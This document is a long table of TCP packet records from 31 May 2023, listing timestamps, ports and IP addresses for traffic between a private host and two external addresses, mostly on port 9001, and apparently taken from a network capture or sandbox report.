May 31, 2023 12:23:17.686352968 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.686359882 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.686386108 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.686418056 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:17.686424971 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.686470985 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.947647095 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.952636957 CEST	49739	443	192.168.2.6	81.7.16.182
May 31, 2023 12:23:17.952682972 CEST	443	49739	81.7.16.182	192.168.2.6
May 31, 2023 12:23:17.953202963 CEST	443	49739	81.7.16.182	192.168.2.6
May 31, 2023 12:23:17.953428984 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.953954935 CEST	49739	443	192.168.2.6	81.7.16.182
May 31, 2023 12:23:17.956926107 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.958327055 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:17.996294975 CEST	443	49739	81.7.16.182	192.168.2.6
May 31, 2023 12:23:18.015953064 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.015990019 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.016025066 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.016036987 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.016062975 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.016086102 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.016086102 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.016100883 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.016113043 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.016129017 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.016149044 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.016155958 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.016179085 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.016187906 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.016207933 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.016226053 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.016233921 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.016283035 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.016287088 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.016318083 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.016328096 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.016345978 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.016361952 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.016376972 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.016397953 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.016407013 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.016422033 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.016437054 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.016457081 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.016474962 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.016483068 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.016509056 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.016520023 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.016545057 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.016552925 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.016573906 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.016591072 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.016604900 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.016621113 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.016635895 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.016649961 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.016674995 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.016680956 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.016705990 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.016716003 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.016736984 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.016746998 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.016774893 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.016784906 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.016810894 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.016813993 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.016839027 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.016868114 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.016870975 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.016885042 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.016896963 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.016923904 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.016931057 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.016948938 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.016974926 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.016977072 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.017014980 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.017016888 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.017047882 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.017060041 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.017076015 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.017096996 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.017118931 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.017163992 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.017193079 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.017230034 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.017256021 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.017261028 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.017285109 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.017288923 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.017313004 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.017313957 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.017347097 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.017376900 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.017385960 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.017401934 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.017416000 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.017429113 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.017450094 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.017457008 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.017481089 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.017491102 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.017510891 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.017540932 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.017541885 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.017554045 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.018018007 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.024976969 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.025068045 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.026349068 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.085731983 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.085772991 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.085800886 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.085824966 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.085848093 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.085874081 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.085891008 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.085899115 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.085927010 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.085952997 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.085961103 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.085979939 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.086008072 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.086033106 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.086059093 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.086085081 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.086105108 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.086106062 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.086138010 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.086182117 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.086210966 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.086229086 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.086232901 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.086261988 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.086268902 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.086287022 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.086313009 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.086340904 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.086366892 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.086391926 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.086393118 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.086420059 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.086420059 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.086447001 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.086472034 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.086499929 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.086500883 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.086549044 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.086569071 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.086575031 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.086602926 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.086606026 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.086652994 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.086683035 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.086720943 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.086760998 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.086782932 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.086790085 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.086812019 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.086860895 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.086864948 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.086889029 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.086908102 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.086926937 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.086947918 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.086956024 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.086981058 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.087007046 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.087023973 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.087068081 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.087093115 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.087116957 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.087126017 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.087145090 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.087169886 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.087193966 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.087196112 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.087245941 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.087265968 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.087271929 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.087296963 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.087297916 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.087362051 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.087382078 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.087407112 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.087415934 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.087475061 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.087476015 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.087501049 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.087510109 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.087562084 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.090711117 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.138891935 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.139209032 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.154225111 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.154259920 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.154278994 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.154294014 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.154350042 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.154381037 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.154397964 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.154413939 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.154428959 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.154515028 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.154532909 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.154546976 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.154567957 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.154578924 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.154583931 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.154637098 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.154658079 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.154670954 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.154671907 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.154687881 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.154705048 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.154711008 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.154726028 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.154735088 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.154788971 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.154809952 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.154831886 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.154858112 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.154884100 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.154921055 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.154947042 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.154968023 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.154983044 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.155019045 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.155040026 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.155059099 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.155070066 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.155091047 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.155112028 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.155149937 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.155169964 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.155189991 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.155206919 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.155266047 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.155313969 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.155354023 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.155364990 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.155368090 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.155383110 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.155464888 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.155523062 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.155527115 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.155545950 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.155565023 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.155585051 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.155590057 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.155678988 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.155725002 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.155745983 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.155766010 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.155786037 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.155869007 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.155878067 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.155899048 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.155919075 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.155937910 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.155951977 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.156001091 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.156045914 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.156069040 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.156104088 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.156111956 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.156188965 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.158808947 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.158901930 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.207496881 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.222676039 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.222718954 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.222739935 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.222759962 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.222780943 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.222801924 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.222821951 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.222843885 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.222863913 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.222932100 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.222944021 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.222954988 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.223009109 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.223030090 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.223045111 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.223052979 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.223074913 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.223094940 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.223099947 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.223121881 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.223150015 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.223165989 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.223206997 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.223206997 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.223248959 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.223269939 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.223289967 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.223315954 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.223315954 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.223340034 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.223346949 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.223361015 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.223377943 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.223381042 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.223418951 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.223438978 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.223448038 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.223469019 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.223490000 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.223525047 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.223543882 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.223568916 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.223584890 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.223603964 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.223623991 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.223625898 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.223649979 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.223655939 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.223670959 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.223691940 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.223694086 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.223711014 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.223726034 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.223763943 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.223793030 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.223808050 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.223813057 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.223834991 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.223849058 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.223853111 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.223862886 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.223881960 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.223901987 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.223903894 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.223923922 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.223947048 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.223999023 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:18.224018097 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.224040985 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.224061012 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:18.224077940 CEST	49727	9001	192.168.2.6	37.153.1.10
